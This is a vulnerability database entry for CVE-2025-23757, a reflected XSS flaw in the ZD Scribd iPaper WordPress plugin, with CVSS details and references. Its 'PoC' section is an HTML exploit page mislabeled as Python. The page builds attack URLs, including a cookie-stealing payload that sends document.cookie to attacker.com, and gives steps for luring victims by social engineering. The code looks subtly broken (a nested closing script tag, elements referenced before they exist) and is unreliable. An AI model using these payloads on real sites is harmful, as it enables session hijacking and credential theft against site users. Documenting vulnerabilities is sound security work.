CVE-2025-23757

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Proloy Chakroborty ZD Scribd iPaper zd-scribd-ipaper allows Reflected XSS.This issue affects ZD Scribd iPaper: from n/a through <= 1.0.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

ZD Scribd iPaper (zd-scribd-ipaper) <= 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-23757 PoC - ZD Scribd iPaper Reflected XSS -->
<!-- Target: WordPress Plugin ZD Scribd iPaper <= 1.0 -->
<!-- Vulnerability: Reflected Cross-Site Scripting (XSS) -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-23757 PoC</title>
</head>
<body>
    <h2>CVE-2025-23757 - ZD Scribd iPaper Reflected XSS PoC</h2>
    
    <!-- Malicious URL Construction -->
    <script>
        // Construct malicious URL with XSS payload
        const baseUrl = window.location.origin + '/wp-admin/admin-ajax.php';
        const xssPayload = '<script>alert("XSS Vulnerability - CVE-2025-23757")</script>';
        const maliciousUrl = `${baseUrl}?action=zd_scribd_ipaper&s=${encodeURIComponent(xssPayload)}`;
        
        // Display the exploit URL
        document.getElementById('exploit-url').innerHTML = 
            '<a href="' + maliciousUrl + '" target="_blank">' + maliciousUrl + '</a>';
        
        // Automated exploitation
        console.log('Malicious URL:', maliciousUrl);
        
        // Cookie stealing payload example
        const cookieStealPayload = `<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">`;
        const advancedExploitUrl = `${baseUrl}?action=zd_scribd_ipaper&s=${encodeURIComponent(cookieStealPayload)}`;
        
        document.getElementById('advanced-url').innerHTML = 
            '<a href="' + advancedExploitUrl + '" target="_blank">Advanced Exploit (Cookie Stealing)</a>';
    </script>
    
    <p><strong>Exploit URL:</strong></p>
    <div id="exploit-url" style="background:#f0f0f0;padding:10px;word-break:break-all;"></div>
    
    <p><strong>Advanced Exploit (Cookie Stealing):</strong></p>
    <div id="advanced-url" style="background:#f0f0f0;padding:10px;word-break:break-all;"></div>
    
    <h3>Attack Scenarios:</h3>
    <ul>
        <li><strong>Session Hijacking:</strong> Steal user cookies to hijack sessions</li>
        <li><strong>Credential Theft:</strong> Inject fake login forms to phish credentials</li>
        <li><strong>Malware Distribution:</strong> Redirect users to malicious sites</li>
        <li><strong>Defacement:</strong> Modify page content for phishing attacks</li>
    </ul>
    
    <h3>Usage:</h3>
    <ol>
        <li>Send the constructed URL to the victim via email or social engineering</li>
        <li>Victim clicks the link while authenticated to the WordPress site</li>
        <li>Malicious JavaScript executes in victim's browser</li>
        <li>Attacker gains access to session or sensitive information</li>
    </ol>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-23757
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-23757
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-23757/
[4] VulDB https://vuldb.com/cve/CVE-2025-23757
[5] https://patchstack.com/database/Wordpress/Plugin/zd-scribd-ipaper/vulnerability/wordpress-zd-scribd-ipaper-plugin-1-0-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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